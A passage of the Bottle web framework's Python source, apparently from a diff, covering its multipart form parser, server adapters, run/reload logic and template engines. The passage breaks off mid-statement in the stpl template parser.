+ + +class MultipartError(HTTPError): + def __init__(self, msg): + HTTPError.__init__(self, 400, "MultipartError: " + msg) + + +class _MultipartParser(object): + def __init__( + self, + stream, + boundary, + content_length=-1, + disk_limit=2 ** 30, + mem_limit=2 ** 20, + memfile_limit=2 ** 18, + buffer_size=2 ** 16, + charset="latin1", + ): + self.stream = stream + self.boundary = boundary + self.content_length = content_length + self.disk_limit = disk_limit + self.memfile_limit = memfile_limit + self.mem_limit = min(mem_limit, self.disk_limit) + self.buffer_size = min(buffer_size, self.mem_limit) + self.charset = charset + + if not boundary: + raise MultipartError("No boundary.") + + if self.buffer_size - 6 < len(boundary): # "--boundary--\r\n" + raise MultipartError("Boundary does not fit into buffer_size.") + + def _lineiter(self): + """ Iterate over a binary file-like object (crlf terminated) line by + line. Each line is returned as a (line, crlf) tuple. Lines larger + than buffer_size are split into chunks where all but the last chunk + has an empty string instead of crlf. Maximum chunk size is twice the + buffer size. + """ + + read = self.stream.read + maxread, maxbuf = self.content_length, self.buffer_size + partial = b"" # Contains the last (partial) line + + while True: + chunk = read(maxbuf if maxread < 0 else min(maxbuf, maxread)) + maxread -= len(chunk) + if not chunk: + if partial: + yield partial, b'' + break + + if partial: + chunk = partial + chunk + + scanpos = 0 + while True: + i = chunk.find(b'\r\n', scanpos) + if i >= 0: + yield chunk[scanpos:i], b'\r\n' + scanpos = i + 2 + else: # CRLF not found + partial = chunk[scanpos:] if scanpos else chunk + break + + if len(partial) > maxbuf: + yield partial[:-1], b"" + partial = partial[-1:] + + def parse(self): + """ Return a MultiPart iterator. Can only be called once. """ + + lines, line = self._lineiter(), "" + separator = b"--" + tob(self.boundary) + terminator = separator + b"--" + mem_used, disk_used = 0, 0 # Track used resources to prevent DoS + is_tail = False # True if the last line was incomplete (cutted) + + # Consume first boundary. Ignore any preamble, as required by RFC + # 2046, section 5.1.1. + for line, nl in lines: + if line in (separator, terminator): + break + else: + raise MultipartError("Stream does not contain boundary") + + # First line is termainating boundary -> empty multipart stream + if line == terminator: + for _ in lines: + raise MultipartError("Found data after empty multipart stream") + return + + part_options = { + "buffer_size": self.buffer_size, + "memfile_limit": self.memfile_limit, + "charset": self.charset, + } + part = _MultipartPart(**part_options) + + for line, nl in lines: + if not is_tail and (line == separator or line == terminator): + part.finish() + if part.is_buffered(): + mem_used += part.size + else: + disk_used += part.size + yield part + if line == terminator: + break + part = _MultipartPart(**part_options) + else: + is_tail = not nl # The next line continues this one + try: + part.feed(line, nl) + if part.is_buffered(): + if part.size + mem_used > self.mem_limit: + raise MultipartError("Memory limit reached.") + elif part.size + disk_used > self.disk_limit: + raise MultipartError("Disk limit reached.") + except MultipartError: + part.close() + raise + else: + part.close() + + if line != terminator: + raise MultipartError("Unexpected end of multipart stream.") + + +class _MultipartPart(object): + def __init__(self, buffer_size=2 ** 16, memfile_limit=2 ** 18, charset="latin1"): + self.headerlist = [] + self.headers = None + self.file = False + self.size = 0 + self._buf = b"" + self.disposition = None + self.name = None + self.filename = None + self.content_type = None + self.charset = charset + self.memfile_limit = memfile_limit + self.buffer_size = buffer_size + + def feed(self, line, nl=""): + if self.file: + return self.write_body(line, nl) + return self.write_header(line, nl) + + def write_header(self, line, nl): + line = line.decode(self.charset) + + if not nl: + raise MultipartError("Unexpected end of line in header.") + + if not line.strip(): # blank line -> end of header segment + self.finish_header() + elif line[0] in " \t" and self.headerlist: + name, value = self.headerlist.pop() + self.headerlist.append((name, value + line.strip())) + else: + if ":" not in line: + raise MultipartError("Syntax error in header: No colon.") + + name, value = line.split(":", 1) + self.headerlist.append((name.strip(), value.strip())) + + def write_body(self, line, nl): + if not line and not nl: + return # This does not even flush the buffer + + self.size += len(line) + len(self._buf) + self.file.write(self._buf + line) + self._buf = nl + + if self.content_length > 0 and self.size > self.content_length: + raise MultipartError("Size of body exceeds Content-Length header.") + + if self.size > self.memfile_limit and isinstance(self.file, BytesIO): + self.file, old = NamedTemporaryFile(mode="w+b"), self.file + old.seek(0) + + copied, maxcopy, chunksize = 0, self.size, self.buffer_size + read, write = old.read, self.file.write + while copied < maxcopy: + chunk = read(min(chunksize, maxcopy - copied)) + write(chunk) + copied += len(chunk) + + def finish_header(self): + self.file = BytesIO() + self.headers = HeaderDict(self.headerlist) + content_disposition = self.headers.get("Content-Disposition") + content_type = self.headers.get("Content-Type") + + if not content_disposition: + raise MultipartError("Content-Disposition header is missing.") + + self.disposition, self.options = _parse_http_header(content_disposition)[0] + self.name = self.options.get("name") + if "filename" in self.options: + self.filename = self.options.get("filename") + if self.filename[1:3] == ":\\" or self.filename[:2] == "\\\\": + self.filename = self.filename.split("\\")[-1] # ie6 bug + + self.content_type, options = _parse_http_header(content_type)[0] if content_type else (None, {}) + self.charset = options.get("charset") or self.charset + + self.content_length = int(self.headers.get("Content-Length", "-1")) + + def finish(self): + if not self.file: + raise MultipartError("Incomplete part: Header section not closed.") + self.file.seek(0) + + def is_buffered(self): + """ Return true if the data is fully buffered in memory.""" + return isinstance(self.file, BytesIO) + + @property + def value(self): + """ Data decoded with the specified charset """ + + return self.raw.decode(self.charset) + + @property + def raw(self): + """ Data without decoding """ + pos = self.file.tell() + self.file.seek(0) + + try: + return self.file.read() + finally: + self.file.seek(pos) + + def close(self): + if self.file: + self.file.close() + self.file = False + +############################################################################### +# Server Adapter ############################################################### +############################################################################### + +# Before you edit or add a server adapter, please read: +# - https://github.com/bottlepy/bottle/pull/647#issuecomment-60152870 +# - https://github.com/bottlepy/bottle/pull/865#issuecomment-242795341 + +class ServerAdapter(object): + quiet = False + + def __init__(self, host='127.0.0.1', port=8080, **options): + self.options = options + self.host = host + self.port = int(port) + + def run(self, handler): # pragma: no cover + pass + + def __repr__(self): + args = ', '.join('%s=%s' % (k, repr(v)) + for k, v in self.options.items()) + return "%s(%s)" % (self.__class__.__name__, args) + + +class CGIServer(ServerAdapter): + quiet = True + + def run(self, handler): # pragma: no cover + from wsgiref.handlers import CGIHandler + + def fixed_environ(environ, start_response): + environ.setdefault('PATH_INFO', '') + return handler(environ, start_response) + + CGIHandler().run(fixed_environ) + + +class FlupFCGIServer(ServerAdapter): + def run(self, handler): # pragma: no cover + import flup.server.fcgi + self.options.setdefault('bindAddress', (self.host, self.port)) + flup.server.fcgi.WSGIServer(handler, **self.options).run() + + +class WSGIRefServer(ServerAdapter): + def run(self, app): # pragma: no cover + from wsgiref.simple_server import make_server + from wsgiref.simple_server import WSGIRequestHandler, WSGIServer + import socket + + class FixedHandler(WSGIRequestHandler): + def address_string(self): # Prevent reverse DNS lookups please. + return self.client_address[0] + + def log_request(*args, **kw): + if not self.quiet: + return WSGIRequestHandler.log_request(*args, **kw) + + handler_cls = self.options.get('handler_class', FixedHandler) + server_cls = self.options.get('server_class', WSGIServer) + + if ':' in self.host: # Fix wsgiref for IPv6 addresses. + if getattr(server_cls, 'address_family') == socket.AF_INET: + + class server_cls(server_cls): + address_family = socket.AF_INET6 + + self.srv = make_server(self.host, self.port, app, server_cls, + handler_cls) + self.port = self.srv.server_port # update port actual port (0 means random) + try: + self.srv.serve_forever() + except KeyboardInterrupt: + self.srv.server_close() # Prevent ResourceWarning: unclosed socket + raise + + +class CherryPyServer(ServerAdapter): + def run(self, handler): # pragma: no cover + depr(0, 13, "The wsgi server part of cherrypy was split into a new " + "project called 'cheroot'.", "Use the 'cheroot' server " + "adapter instead of cherrypy.") + from cherrypy import wsgiserver # This will fail for CherryPy >= 9 + + self.options['bind_addr'] = (self.host, self.port) + self.options['wsgi_app'] = handler + + certfile = self.options.get('certfile') + if certfile: + del self.options['certfile'] + keyfile = self.options.get('keyfile') + if keyfile: + del self.options['keyfile'] + + server = wsgiserver.CherryPyWSGIServer(**self.options) + if certfile: + server.ssl_certificate = certfile + if keyfile: + server.ssl_private_key = keyfile + + try: + server.start() + finally: + server.stop() + + +class CherootServer(ServerAdapter): + def run(self, handler): # pragma: no cover + from cheroot import wsgi + from cheroot.ssl import builtin + self.options['bind_addr'] = (self.host, self.port) + self.options['wsgi_app'] = handler + certfile = self.options.pop('certfile', None) + keyfile = self.options.pop('keyfile', None) + chainfile = self.options.pop('chainfile', None) + server = wsgi.Server(**self.options) + if certfile and keyfile: + server.ssl_adapter = builtin.BuiltinSSLAdapter( + certfile, keyfile, chainfile) + try: + server.start() + finally: + server.stop() + + +class WaitressServer(ServerAdapter): + def run(self, handler): + from waitress import serve + serve(handler, host=self.host, port=self.port, _quiet=self.quiet, **self.options) + + +class PasteServer(ServerAdapter): + def run(self, handler): # pragma: no cover + from paste import httpserver + from paste.translogger import TransLogger + handler = TransLogger(handler, setup_console_handler=(not self.quiet)) + httpserver.serve(handler, + host=self.host, + port=str(self.port), **self.options) + + +class MeinheldServer(ServerAdapter): + def run(self, handler): + from meinheld import server + server.listen((self.host, self.port)) + server.run(handler) + + +class FapwsServer(ServerAdapter): + """ Extremely fast webserver using libev. See https://github.com/william-os4y/fapws3 """ + + def run(self, handler): # pragma: no cover + depr(0, 13, "fapws3 is not maintained and support will be dropped.") + import fapws._evwsgi as evwsgi + from fapws import base, config + port = self.port + if float(config.SERVER_IDENT[-2:]) > 0.4: + # fapws3 silently changed its API in 0.5 + port = str(port) + evwsgi.start(self.host, port) + # fapws3 never releases the GIL. Complain upstream. I tried. No luck. + if 'BOTTLE_CHILD' in os.environ and not self.quiet: + _stderr("WARNING: Auto-reloading does not work with Fapws3.") + _stderr(" (Fapws3 breaks python thread support)") + evwsgi.set_base_module(base) + + def app(environ, start_response): + environ['wsgi.multiprocess'] = False + return handler(environ, start_response) + + evwsgi.wsgi_cb(('', app)) + evwsgi.run() + + +class TornadoServer(ServerAdapter): + """ The super hyped asynchronous server by facebook. Untested. """ + + def run(self, handler): # pragma: no cover + import tornado.wsgi, tornado.httpserver, tornado.ioloop + container = tornado.wsgi.WSGIContainer(handler) + server = tornado.httpserver.HTTPServer(container) + server.listen(port=self.port, address=self.host) + tornado.ioloop.IOLoop.instance().start() + + +class AppEngineServer(ServerAdapter): + """ Adapter for Google App Engine. """ + quiet = True + + def run(self, handler): + depr(0, 13, "AppEngineServer no longer required", + "Configure your application directly in your app.yaml") + from google.appengine.ext.webapp import util + # A main() function in the handler script enables 'App Caching'. + # Lets makes sure it is there. This _really_ improves performance. + module = sys.modules.get('__main__') + if module and not hasattr(module, 'main'): + module.main = lambda: util.run_wsgi_app(handler) + util.run_wsgi_app(handler) + + +class TwistedServer(ServerAdapter): + """ Untested. """ + + def run(self, handler): + from twisted.web import server, wsgi + from twisted.python.threadpool import ThreadPool + from twisted.internet import reactor + thread_pool = ThreadPool() + thread_pool.start() + reactor.addSystemEventTrigger('after', 'shutdown', thread_pool.stop) + factory = server.Site(wsgi.WSGIResource(reactor, thread_pool, handler)) + reactor.listenTCP(self.port, factory, interface=self.host) + if not reactor.running: + reactor.run() + + +class DieselServer(ServerAdapter): + """ Untested. """ + + def run(self, handler): + depr(0, 13, "Diesel is not tested or supported and will be removed.") + from diesel.protocols.wsgi import WSGIApplication + app = WSGIApplication(handler, port=self.port) + app.run() + + +class GeventServer(ServerAdapter): + """ Untested. Options: + + * See gevent.wsgi.WSGIServer() documentation for more options. + """ + + def run(self, handler): + from gevent import pywsgi, local + if not isinstance(threading.local(), local.local): + msg = "Bottle requires gevent.monkey.patch_all() (before import)" + raise RuntimeError(msg) + if self.quiet: + self.options['log'] = None + address = (self.host, self.port) + server = pywsgi.WSGIServer(address, handler, **self.options) + if 'BOTTLE_CHILD' in os.environ: + import signal + signal.signal(signal.SIGINT, lambda s, f: server.stop()) + server.serve_forever() + + +class GunicornServer(ServerAdapter): + """ Untested. See http://gunicorn.org/configure.html for options. """ + + def run(self, handler): + from gunicorn.app.base import BaseApplication + + if self.host.startswith("unix:"): + config = {'bind': self.host} + else: + config = {'bind': "%s:%d" % (self.host, self.port)} + + config.update(self.options) + + class GunicornApplication(BaseApplication): + def load_config(self): + for key, value in config.items(): + self.cfg.set(key, value) + + def load(self): + return handler + + GunicornApplication().run() + + +class EventletServer(ServerAdapter): + """ Untested. Options: + + * `backlog` adjust the eventlet backlog parameter which is the maximum + number of queued connections. Should be at least 1; the maximum + value is system-dependent. + * `family`: (default is 2) socket family, optional. See socket + documentation for available families. + """ + + def run(self, handler): + from eventlet import wsgi, listen, patcher + if not patcher.is_monkey_patched(os): + msg = "Bottle requires eventlet.monkey_patch() (before import)" + raise RuntimeError(msg) + socket_args = {} + for arg in ('backlog', 'family'): + try: + socket_args[arg] = self.options.pop(arg) + except KeyError: + pass + address = (self.host, self.port) + try: + wsgi.server(listen(address, **socket_args), handler, + log_output=(not self.quiet)) + except TypeError: + # Fallback, if we have old version of eventlet + wsgi.server(listen(address), handler) + + +class BjoernServer(ServerAdapter): + """ Fast server written in C: https://github.com/jonashaag/bjoern """ + + def run(self, handler): + from bjoern import run + run(handler, self.host, self.port, reuse_port=True) + +class AsyncioServerAdapter(ServerAdapter): + """ Extend ServerAdapter for adding custom event loop """ + def get_event_loop(self): + pass + +class AiohttpServer(AsyncioServerAdapter): + """ Asynchronous HTTP client/server framework for asyncio + https://pypi.python.org/pypi/aiohttp/ + https://pypi.org/project/aiohttp-wsgi/ + """ + + def get_event_loop(self): + import asyncio + return asyncio.new_event_loop() + + def run(self, handler): + import asyncio + from aiohttp_wsgi.wsgi import serve + self.loop = self.get_event_loop() + asyncio.set_event_loop(self.loop) + + if 'BOTTLE_CHILD' in os.environ: + import signal + signal.signal(signal.SIGINT, lambda s, f: self.loop.stop()) + + serve(handler, host=self.host, port=self.port) + + +class AiohttpUVLoopServer(AiohttpServer): + """uvloop + https://github.com/MagicStack/uvloop + """ + def get_event_loop(self): + import uvloop + return uvloop.new_event_loop() + +class AutoServer(ServerAdapter): + """ Untested. """ + adapters = [WaitressServer, PasteServer, TwistedServer, CherryPyServer, + CherootServer, WSGIRefServer] + + def run(self, handler): + for sa in self.adapters: + try: + return sa(self.host, self.port, **self.options).run(handler) + except ImportError: + pass + + +server_names = { + 'cgi': CGIServer, + 'flup': FlupFCGIServer, + 'wsgiref': WSGIRefServer, + 'waitress': WaitressServer, + 'cherrypy': CherryPyServer, + 'cheroot': CherootServer, + 'paste': PasteServer, + 'fapws3': FapwsServer, + 'tornado': TornadoServer, + 'gae': AppEngineServer, + 'twisted': TwistedServer, + 'diesel': DieselServer, + 'meinheld': MeinheldServer, + 'gunicorn': GunicornServer, + 'eventlet': EventletServer, + 'gevent': GeventServer, + 'bjoern': BjoernServer, + 'aiohttp': AiohttpServer, + 'uvloop': AiohttpUVLoopServer, + 'auto': AutoServer, +} + +############################################################################### +# Application Control ########################################################## +############################################################################### + + +def load(target, **namespace): + """ Import a module or fetch an object from a module. + + * ``package.module`` returns `module` as a module object. + * ``pack.mod:name`` returns the module variable `name` from `pack.mod`. + * ``pack.mod:func()`` calls `pack.mod.func()` and returns the result. + + The last form accepts not only function calls, but any type of + expression. Keyword arguments passed to this function are available as + local variables. Example: ``import_string('re:compile(x)', x='[a-z]')`` + """ + module, target = target.split(":", 1) if ':' in target else (target, None) + if module not in sys.modules: __import__(module) + if not target: return sys.modules[module] + if target.isalnum(): return getattr(sys.modules[module], target) + package_name = module.split('.')[0] + namespace[package_name] = sys.modules[package_name] + return eval('%s.%s' % (module, target), namespace) + + +def load_app(target): + """ Load a bottle application from a module and make sure that the import + does not affect the current default application, but returns a separate + application object. See :func:`load` for the target parameter. """ + global NORUN + NORUN, nr_old = True, NORUN + tmp = default_app.push() # Create a new "default application" + try: + rv = load(target) # Import the target module + return rv if callable(rv) else tmp + finally: + default_app.remove(tmp) # Remove the temporary added default application + NORUN = nr_old + + +_debug = debug + + +def run(app=None, + server='wsgiref', + host='127.0.0.1', + port=8080, + interval=1, + reloader=False, + quiet=False, + plugins=None, + debug=None, + config=None, **kargs): + """ Start a server instance. This method blocks until the server terminates. + + :param app: WSGI application or target string supported by + :func:`load_app`. (default: :func:`default_app`) + :param server: Server adapter to use. See :data:`server_names` keys + for valid names or pass a :class:`ServerAdapter` subclass. + (default: `wsgiref`) + :param host: Server address to bind to. Pass ``0.0.0.0`` to listens on + all interfaces including the external one. (default: 127.0.0.1) + :param port: Server port to bind to. Values below 1024 require root + privileges. (default: 8080) + :param reloader: Start auto-reloading server? (default: False) + :param interval: Auto-reloader interval in seconds (default: 1) + :param quiet: Suppress output to stdout and stderr? (default: False) + :param options: Options passed to the server adapter. + """ + if NORUN: return + if reloader and not os.environ.get('BOTTLE_CHILD'): + import subprocess + fd, lockfile = tempfile.mkstemp(prefix='bottle.', suffix='.lock') + environ = os.environ.copy() + environ['BOTTLE_CHILD'] = 'true' + environ['BOTTLE_LOCKFILE'] = lockfile + args = [sys.executable] + sys.argv + # If a package was loaded with `python -m`, then `sys.argv` needs to be + # restored to the original value, or imports might break. See #1336 + if getattr(sys.modules.get('__main__'), '__package__', None): + args[1:1] = ["-m", sys.modules['__main__'].__package__] + + try: + os.close(fd) # We never write to this file + while os.path.exists(lockfile): + p = subprocess.Popen(args, env=environ) + while p.poll() is None: + os.utime(lockfile, None) # Tell child we are still alive + time.sleep(interval) + if p.returncode == 3: # Child wants to be restarted + continue + sys.exit(p.returncode) + except KeyboardInterrupt: + pass + finally: + if os.path.exists(lockfile): + os.unlink(lockfile) + return + + try: + if debug is not None: _debug(debug) + app = app or default_app() + if isinstance(app, basestring): + app = load_app(app) + if not callable(app): + raise ValueError("Application is not callable: %r" % app) + + for plugin in plugins or []: + if isinstance(plugin, basestring): + plugin = load(plugin) + app.install(plugin) + + if config: + app.config.update(config) + + if server in server_names: + server = server_names.get(server) + if isinstance(server, basestring): + server = load(server) + if isinstance(server, type): + server = server(host=host, port=port, **kargs) + if not isinstance(server, ServerAdapter): + raise ValueError("Unknown or unsupported server: %r" % server) + + server.quiet = server.quiet or quiet + if not server.quiet: + _stderr("Bottle v%s server starting up (using %s)..." % + (__version__, repr(server))) + if server.host.startswith("unix:"): + _stderr("Listening on %s" % server.host) + else: + _stderr("Listening on http://%s:%d/" % + (server.host, server.port)) + _stderr("Hit Ctrl-C to quit.\n") + + if reloader: + lockfile = os.environ.get('BOTTLE_LOCKFILE') + bgcheck = FileCheckerThread(lockfile, interval) + with bgcheck: + server.run(app) + if bgcheck.status == 'reload': + sys.exit(3) + else: + server.run(app) + except KeyboardInterrupt: + pass + except (SystemExit, MemoryError): + raise + except: + if not reloader: raise + if not getattr(server, 'quiet', quiet): + print_exc() + time.sleep(interval) + sys.exit(3) + + +class FileCheckerThread(threading.Thread): + """ Interrupt main-thread as soon as a changed module file is detected, + the lockfile gets deleted or gets too old. """ + + def __init__(self, lockfile, interval): + threading.Thread.__init__(self) + self.daemon = True + self.lockfile, self.interval = lockfile, interval + #: Is one of 'reload', 'error' or 'exit' + self.status = None + + def run(self): + exists = os.path.exists + mtime = lambda p: os.stat(p).st_mtime + files = dict() + + for module in list(sys.modules.values()): + path = getattr(module, '__file__', '') or '' + if path[-4:] in ('.pyo', '.pyc'): path = path[:-1] + if path and exists(path): files[path] = mtime(path) + + while not self.status: + if not exists(self.lockfile)\ + or mtime(self.lockfile) < time.time() - self.interval - 5: + self.status = 'error' + thread.interrupt_main() + for path, lmtime in list(files.items()): + if not exists(path) or mtime(path) > lmtime: + self.status = 'reload' + thread.interrupt_main() + break + time.sleep(self.interval) + + def __enter__(self): + self.start() + + def __exit__(self, exc_type, *_): + if not self.status: self.status = 'exit' # silent exit + self.join() + return exc_type is not None and issubclass(exc_type, KeyboardInterrupt) + +############################################################################### +# Template Adapters ############################################################ +############################################################################### + + +class TemplateError(BottleException): + pass + + +class BaseTemplate(object): + """ Base class and minimal API for template adapters """ + extensions = ['tpl', 'html', 'thtml', 'stpl'] + settings = {} #used in prepare() + defaults = {} #used in render() + + def __init__(self, + source=None, + name=None, + lookup=None, + encoding='utf8', **settings): + """ Create a new template. + If the source parameter (str or buffer) is missing, the name argument + is used to guess a template filename. Subclasses can assume that + self.source and/or self.filename are set. Both are strings. + The lookup, encoding and settings parameters are stored as instance + variables. + The lookup parameter stores a list containing directory paths. + The encoding parameter should be used to decode byte strings or files. + The settings parameter contains a dict for engine-specific settings. + """ + self.name = name + self.source = source.read() if hasattr(source, 'read') else source + self.filename = source.filename if hasattr(source, 'filename') else None + self.lookup = [os.path.abspath(x) for x in lookup] if lookup else [] + self.encoding = encoding + self.settings = self.settings.copy() # Copy from class variable + self.settings.update(settings) # Apply + if not self.source and self.name: + self.filename = self.search(self.name, self.lookup) + if not self.filename: + raise TemplateError('Template %s not found.' % repr(name)) + if not self.source and not self.filename: + raise TemplateError('No template specified.') + self.prepare(**self.settings) + + @classmethod + def search(cls, name, lookup=None): + """ Search name in all directories specified in lookup. + First without, then with common extensions. Return first hit. """ + if not lookup: + raise depr(0, 12, "Empty template lookup path.", "Configure a template lookup path.") + + if os.path.isabs(name): + raise depr(0, 12, "Use of absolute path for template name.", + "Refer to templates with names or paths relative to the lookup path.") + + for spath in lookup: + spath = os.path.abspath(spath) + os.sep + fname = os.path.abspath(os.path.join(spath, name)) + if not fname.startswith(spath): continue + if os.path.isfile(fname): return fname + for ext in cls.extensions: + if os.path.isfile('%s.%s' % (fname, ext)): + return '%s.%s' % (fname, ext) + + @classmethod + def global_config(cls, key, *args): + """ This reads or sets the global settings stored in class.settings. """ + if args: + cls.settings = cls.settings.copy() # Make settings local to class + cls.settings[key] = args[0] + else: + return cls.settings[key] + + def prepare(self, **options): + """ Run preparations (parsing, caching, ...). + It should be possible to call this again to refresh a template or to + update settings. + """ + raise NotImplementedError + + def render(self, *args, **kwargs): + """ Render the template with the specified local variables and return + a single byte or unicode string. If it is a byte string, the encoding + must match self.encoding. This method must be thread-safe! + Local variables may be provided in dictionaries (args) + or directly, as keywords (kwargs). + """ + raise NotImplementedError + + +class MakoTemplate(BaseTemplate): + def prepare(self, **options): + from mako.template import Template + from mako.lookup import TemplateLookup + options.update({'input_encoding': self.encoding}) + options.setdefault('format_exceptions', bool(DEBUG)) + lookup = TemplateLookup(directories=self.lookup, **options) + if self.source: + self.tpl = Template(self.source, lookup=lookup, **options) + else: + self.tpl = Template(uri=self.name, + filename=self.filename, + lookup=lookup, **options) + + def render(self, *args, **kwargs): + for dictarg in args: + kwargs.update(dictarg) + _defaults = self.defaults.copy() + _defaults.update(kwargs) + return self.tpl.render(**_defaults) + + +class CheetahTemplate(BaseTemplate): + def prepare(self, **options): + from Cheetah.Template import Template + self.context = threading.local() + self.context.vars = {} + options['searchList'] = [self.context.vars] + if self.source: + self.tpl = Template(source=self.source, **options) + else: + self.tpl = Template(file=self.filename, **options) + + def render(self, *args, **kwargs): + for dictarg in args: + kwargs.update(dictarg) + self.context.vars.update(self.defaults) + self.context.vars.update(kwargs) + out = str(self.tpl) + self.context.vars.clear() + return out + + +class Jinja2Template(BaseTemplate): + def prepare(self, filters=None, tests=None, globals={}, **kwargs): + from jinja2 import Environment, FunctionLoader + self.env = Environment(loader=FunctionLoader(self.loader), **kwargs) + if filters: self.env.filters.update(filters) + if tests: self.env.tests.update(tests) + if globals: self.env.globals.update(globals) + if self.source: + self.tpl = self.env.from_string(self.source) + else: + self.tpl = self.env.get_template(self.name) + + def render(self, *args, **kwargs): + for dictarg in args: + kwargs.update(dictarg) + _defaults = self.defaults.copy() + _defaults.update(kwargs) + return self.tpl.render(**_defaults) + + def loader(self, name): + if name == self.filename: + fname = name + else: + fname = self.search(name, self.lookup) + if not fname: return + with open(fname, "rb") as f: + return (f.read().decode(self.encoding), fname, lambda: False) + + +class SimpleTemplate(BaseTemplate): + def prepare(self, + escape_func=html_escape, + noescape=False, + syntax=None, **ka): + self.cache = {} + enc = self.encoding + self._str = lambda x: touni(x, enc) + self._escape = lambda x: escape_func(touni(x, enc)) + self.syntax = syntax + if noescape: + self._str, self._escape = self._escape, self._str + + @cached_property + def co(self): + return compile(self.code, self.filename or '<string>', 'exec') + + @cached_property + def code(self): + source = self.source + if not source: + with open(self.filename, 'rb') as f: + source = f.read() + try: + source, encoding = touni(source), 'utf8' + except UnicodeError: + raise depr(0, 11, 'Unsupported template encodings.', 'Use utf-8 for templates.') + parser = StplParser(source, encoding=encoding, syntax=self.syntax) + code = parser.translate() + self.encoding = parser.encoding + return code + + def _rebase(self, _env, _name=None, **kwargs): + _env['_rebase'] = (_name, kwargs) + + def _include(self, _env, _name=None, **kwargs): + env = _env.copy() + env.update(kwargs) + if _name not in self.cache: + self.cache[_name] = self.__class__(name=_name, lookup=self.lookup, syntax=self.syntax) + return self.cache[_name].execute(env['_stdout'], env) + + def execute(self, _stdout, kwargs): + env = self.defaults.copy() + env.update(kwargs) + env.update({ + '_stdout': _stdout, + '_printlist': _stdout.extend, + 'include': functools.partial(self._include, env), + 'rebase': functools.partial(self._rebase, env), + '_rebase': None, + '_str': self._str, + '_escape': self._escape, + 'get': env.get, + 'setdefault': env.setdefault, + 'defined': env.__contains__ + }) + exec(self.co, env) + if env.get('_rebase'): + subtpl, rargs = env.pop('_rebase') + rargs['base'] = ''.join(_stdout) #copy stdout + del _stdout[:] # clear stdout + return self._include(env, subtpl, **rargs) + return env + + def render(self, *args, **kwargs): + """ Render the template using keyword arguments as local variables. """ + env = {} + stdout = [] + for dictarg in args: + env.update(dictarg) + env.update(kwargs) + self.execute(stdout, env) + return ''.join(stdout) + + +class StplSyntaxError(TemplateError): + pass + + +class StplParser(object): + """ Parser for stpl templates. """ + _re_cache = {} #: Cache for compiled re patterns + + # This huge pile of voodoo magic splits python code into 8 different tokens. + # We use the verbose (?x) regex mode to make this more manageable + + _re_tok = r'''( + [urbURB]* + (?: ''(?!') + |""(?!") + |'{6} + |"{6} + |'(?:[^\\']|\\.)+?' + |"(?:[^\\"]|\\.)+?" + |'{3}(?:[^\\]|\\.|\n)+?'{3} + |"{3}(?:[^\\]|\\.|\n)+?"{3} + ) + )''' + + _re_inl = _re_tok.replace(r'|\n', '') # We re-use this string pattern later + + _re_tok += r''' + # 2: Comments (until end of line, but not the newline itself) + |(\#.*) + + # 3: Open and close (4) grouping tokens + |([\[\{\(]) + |([\]\}\)]) + + # 5,6: Keywords that start or continue a python block (only start of line) + |^([\ \t]*(?:if|for|while|with|try|def|class)\b) + |^([\ \t]*(?:elif|else|except|finally)\b) + + # 7: Our special 'end' keyword (but only if it stands alone) + |((?:^|;)[\ \t]*end[\ \t]*(?=(?:%(block_close)s[\ \t]*)?\r?$|;|\#)) + + # 8: A customizable end-of-code-block template token (only end of line) + |(%(block_close)s[\ \t]*(?=\r?$)) + + # 9: And finally, a single newline. The 10th token is 'everything else' + |(\r?\n) + ''' + + # Match the start tokens of code areas in a template + _re_split = r'''(?m)^[ \t]*(\\?)((%(line_start)s)|(%(block_start)s))''' + # Match inline statements (may contain python strings) + _re_inl = r'''%%(inline_start)s((?:%s|[^'"\n])*?)%%(inline_end)s''' % _re_inl + + # add the flag in front of the regexp to avoid Deprecation warning (see Issue #949) + # verbose and dot-matches-newline mode + _re_tok = '(?mx)' + _re_tok + _re_inl = '(?mx)' + _re_inl + + + default_syntax = '<% %> % {{ }}' + + def __init__(self, source, syntax=None, encoding='utf8'): + self.source, self.encoding = touni(source, encoding), encoding + self.set_syntax(syntax or self.default_syntax) + self.code_buffer, self.text_buffer = [], [] + self.lineno, self.offset = 1, 0 + self.indent, self.indent_mod = 0, 0 + self.paren_depth = 0 + + def get_syntax(self): + """ Tokens as a space separated string (default: <% %> % {{ }}) """ + return self._syntax + + def set_syntax(self, syntax): + self._syntax = syntax + self._tokens = syntax.split() + if syntax not in self._re_cache: + names = 'block_start block_close line_start inline_start inline_end' + etokens = map(re.escape, self._tokens) + pattern_vars = dict(zip(names.split(), etokens)) + patterns = (self._re_split, self._re_tok, self._re_inl) + patterns = [re.compile(p % pattern_vars) for p in patterns] + self._re_cache[syntax] = patterns + self.re_split, self.re_tok, self.re_inl = self._re_cache[syntax] + + syntax = property(get_syntax, set_syntax) + + def translate(self): + if self.offset: raise RuntimeError('Parser is a one time instance.') + while True: + m = self.re_split.search(self.source, pos=self.offset) + if m: + text = self.source[self.offset:m.start()] + self.text_buffer.append(text) + self.offset = m.end() + if m.group(1): # Escape syntax + line, sep, _ = self.source[self.offset:].partition('\n') + self.text_buffer.append(self.source[m.start():m.start(1)] + + m.group(2) + line + sep) + self.offset += len(line + sep) + continue + self.flush_text() + self.offset += self.read_code(self.source[self.offset:], + multiline=bool(m.group(4))) + else: + break + self.text_buffer.append(self.source[self.offset:]) + self.flush_text() + return ''.join(self.code_buffer) + + def read_code(self, pysource, multiline): + code_line, comment = '', '' + offset = 0 + while True: + m = self.re_tok.search(pysource, pos=offset) + if not m: + code_line += pysource[offset:] + offset = len(pysource) + self.write_code(code_line.strip(), comment) + break + code_line += pysource[offset:m.start()] + offset = m.end() + _str, _com, _po, _pc, _blk1, _blk2, _end, _cend, _nl = m.groups() + if self.paren_depth > 0 and (_blk1 or _blk2): # a if b else c + code_line += _blk1 or _blk2 + continue + if _str: # Python string + code_line += _str + elif _com: # Python comment (up to EOL) + comment = _com + if multiline and _com.strip().endswith(self._tokens[1]): + multiline = False # Allow end-of-block in comments + elif _po: # open parenthesis + self.paren_depth += 1 + code_line += _po + elif _pc: # close parenthesis + if self.paren_depth > 0: + # we could check for matching parentheses here, but it's + # easier to leave that to python - just check counts + self.paren_depth -= 1 + code_line += _pc + elif _blk1: # Start-block keyword (if/for/while/def/try/...) + code_line = _blk1 + self.indent += 1 + self.indent_mod -= 1 + elif _blk2: # Continue-block keyword (else/elif/except/...) + code_line = _blk2 + self.indent_mod -= 1 + elif _cend: # The end-code-block template token (usually '%>') + if multiline: multiline = False + else: code_line += _cend + elif _end: + self.indent -= 1 + self.indent_mod += 1 + else: # \n + self.write_code(code_line.strip(), comment) + self.lineno += 1 + code_line, comment, self.indent_mod = '', '', 